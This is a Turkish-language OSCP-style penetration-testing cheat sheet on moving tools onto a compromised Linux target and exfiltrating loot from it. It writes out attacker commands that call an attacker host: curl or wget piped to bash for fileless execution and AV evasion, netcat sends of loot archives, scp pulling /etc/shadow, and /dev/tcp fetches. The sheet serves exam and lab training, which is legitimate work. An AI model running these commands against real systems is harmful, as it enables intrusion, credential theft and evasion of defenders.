FOOTHOLD Metodoloji Cheat-sheet
Post ✓ EXAM-SAFE kolay

Linux Dosya Transferi (Enumeration & Tooling Aktarımı)

Hedefe enumeration scriptleri (linpeas) ve exploit araçları taşıma, hedeften loot/dosya çıkarma yöntemleri: python3 -m http.server, wget/curl, nc, scp, base64 kopyala-yapıştır ve /dev/tcp ile dosya çekme. Tümü {{LHOST}} {{LPORT}} {{RHOST}} kullanır.

Bilgi: ÖN KOŞULLAR
  • Hedefte komut çalıştırma (shell)
  • Saldırgan tarafında HTTP/nc sunucusu çalıştırma imkanı
┌──

Komutlar

python3 ✓ EXAM-SAFE
python3 -m http.server {{LPORT}}
SALDIRGAN: bulunduğun dizini HTTP üzerinden sunar (linpeas, exploit binary vb. dağıtmak için). Hedef wget/curl ile çeker. HackTricks — File Transfer / Python HTTP Server
python2 ✓ EXAM-SAFE
python -m SimpleHTTPServer {{LPORT}}
SALDIRGAN: python2 ortamında HTTP sunucusu (python3 yoksa). HackTricks — File Transfer / SimpleHTTPServer
wget ✓ EXAM-SAFE
wget http://{{LHOST}}:{{LPORT}}/linpeas.sh -O /tmp/linpeas.sh
HEDEF: saldırgan HTTP sunucusundan dosyayı /tmp'ye indirir. HackTricks — File Transfer / wget
curl ✓ EXAM-SAFE
curl http://{{LHOST}}:{{LPORT}}/linpeas.sh -o /tmp/linpeas.sh
HEDEF: wget yoksa curl ile indirme. HackTricks — File Transfer / curl
curl ✓ EXAM-SAFE
curl http://{{LHOST}}:{{LPORT}}/linpeas.sh | bash
HEDEF: scripti diske yazmadan doğrudan bellekten çalıştırır (disk izi/AV kaçınımı). HackTricks — File Transfer / Fileless execution
wget ✓ EXAM-SAFE
wget -qO- http://{{LHOST}}:{{LPORT}}/linpeas.sh | bash
HEDEF: wget ile disksiz (fileless) script çalıştırma. HackTricks — File Transfer / wget pipe
nc ✓ EXAM-SAFE
nc -lvnp {{LPORT}} > /tmp/loot.tar
HEDEF veya SALDIRGAN (alıcı taraf): netcat ile gelen dosyayı yazar; karşı uçtan 'nc {{RHOST}} {{LPORT}} < dosya' gönderilir. HackTricks — File Transfer / netcat receive
nc ✓ EXAM-SAFE
nc {{LHOST}} {{LPORT}} < /tmp/loot.tar
GÖNDEREN taraf: dosyayı netcat üzerinden listener'a yollar (loot exfil veya tool push). HackTricks — File Transfer / netcat send
scp ✓ EXAM-SAFE
scp /tmp/loot.tar {{USER}}@{{LHOST}}:/tmp/loot.tar
HEDEF: SSH erişimi/anahtar varsa scp ile şifreli ve güvenilir transfer. HackTricks — File Transfer / scp
scp ✓ EXAM-SAFE
scp {{USER}}@{{RHOST}}:/etc/shadow ./shadow
SALDIRGAN: hedeften SSH üzerinden dosya çekme (kimlik bilgisi/anahtar varsa). HackTricks — File Transfer / scp pull
base64 ✓ EXAM-SAFE
base64 -w0 /tmp/loot.tar
HEDEF: dosyayı tek satır base64'e çevirir; çıktıyı kopyalayıp local'de 'echo <b64> | base64 -d > loot.tar' ile geri kurarsın. HTTP/nc bloklandığında shell üzerinden transfer. HackTricks — File Transfer / base64 copy-paste
base64 ✓ EXAM-SAFE
echo {{URL}} | base64 -d > /tmp/tool
HEDEF: local'de base64'lenmiş içeriği ({{URL}} placeholder = base64 string) decode edip diske yazar. HackTricks — File Transfer / base64 decode
bash ✓ EXAM-SAFE
cat < /dev/tcp/{{LHOST}}/{{LPORT}} > /tmp/tool
HEDEF: hiçbir transfer aracı yokken bash /dev/tcp ile saldırgan nc listener'ından ('nc -lvnp {{LPORT}} < dosya') dosya çeker. HackTricks — File Transfer / bash /dev/tcp
nc ✓ EXAM-SAFE
nc -lvnp {{LPORT}} < /tmp/tool
SALDIRGAN: /dev/tcp ile çekilecek dosyayı sunar (yukarıdaki bash /dev/tcp ile eşleşir). HackTricks — File Transfer / netcat serve file
php ✓ EXAM-SAFE
php -S {{LHOST}}:{{LPORT}}
SALDIRGAN: python yoksa PHP built-in web sunucusu ile dizini sunma. HackTricks — File Transfer / php -S
certutil ✓ EXAM-SAFE
certutil.exe -urlcache -split -f http://{{LHOST}}:{{LPORT}}/file.exe C:\\Windows\\Temp\\file.exe
NOT (Windows hedefi için): pivot sırasında Linux saldırgan HTTP sunucusundan Windows hedefe indirme; Linux hedefte certutil yoktur, sadece referans. HackTricks — File Transfer / certutil (Windows)

Temel Akış

Foothold sonrası iki yönlü transfer gerekir: (1) saldırgandan hedefe enumeration/exploit araçları push (linpeas, pspy, kernel exploit), (2) hedeften saldırgana pull/exfil (loot, /etc/shadow, config’ler, anahtarlar). En yaygın kombinasyon: Kali’de python3 -m http.server {{LPORT}}, hedefte wget/curl. Bu işlemler standart araçlar olduğundan OSCP’de safe.

Push: Saldırgandan Hedefe

  • Sunucu olarak python3 -m http.server {{LPORT}} (veya python2 SimpleHTTPServer, ya da php -S). Hedef wget/curl ile çeker.
  • Fileless tercih et: curl http://{{LHOST}}:{{LPORT}}/linpeas.sh | bash scripti diske yazmadan çalıştırır — AV/EDR ve disk forensics izini azaltır. Yazılabilir dizin bulmak için /tmp, /dev/shm, /var/tmp kullan.
  • Araç indirmek yasaksa/araç yoksa: cat < /dev/tcp/{{LHOST}}/{{LPORT}} > /tmp/tool ile saf bash; karşıda nc -lvnp {{LPORT}} < dosya.

Pull / Exfil: Hedeften Saldırgana

  • netcat: Saldırganda nc -lvnp {{LPORT}} > loot.tar, hedefte nc {{LHOST}} {{LPORT}} < /tmp/loot.tar. nc sürümüne göre transfer bitince bağlantı kapanmayabilir, Ctrl-C ile sonlandır ve boyutu ls -l ile doğrula.
  • scp: SSH kimlik bilgisi/anahtarı varsa en güvenilir ve şifreli yol. Hedeften çekmek için Kali’de scp {{USER}}@{{RHOST}}:/yol ./.
  • base64 kopyala-yapıştır: HTTP/nc tamamen bloklandığında, shell üzerinden metin olarak taşı: hedefte base64 -w0 dosya, çıktıyı kopyala, Kali’de echo '<b64>' | base64 -d > dosya. Büyük dosyalarda kopyalama hata yapabilir; md5sum ile bütünlük doğrula.

Bütünlük & Doğrulama

Her transferden sonra iki uçta md5sum/sha1sum karşılaştır. Binary’lerde satır sonu bozulması ve eksik byte yaygın hatadır; özellikle base64 ve kopyala-yapıştır yöntemlerinde kritiktir.

Windows Pivot Notu

Linux hedefte certutil yoktur; komut yalnızca pivot zinciri içinde bir Windows hedefe Linux saldırgan sunucusundan indirme yaparken kullanılır (referans amaçlı eklenmiştir). Linux-Linux transferlerde wget/curl/nc/scp yeterlidir.

Gotchas

  • HTTP sunucu portu olarak {{LPORT}} 80/443/8000 gibi yaygın değerler firewall’u geçme olasılığı en yüksek olanlardır.
  • /tmp noexec ile mount edilmişse indirilen binary çalışmaz; /dev/shm dene veya noexec olmayan yazılabilir dizin ara (mount | grep noexec).
  • İndirdiğin scripti chmod +x yapmayı unutma veya doğrudan yorumlayıcıyla çağır (bash linpeas.sh).
┌──

Kaynaklar

0/15 set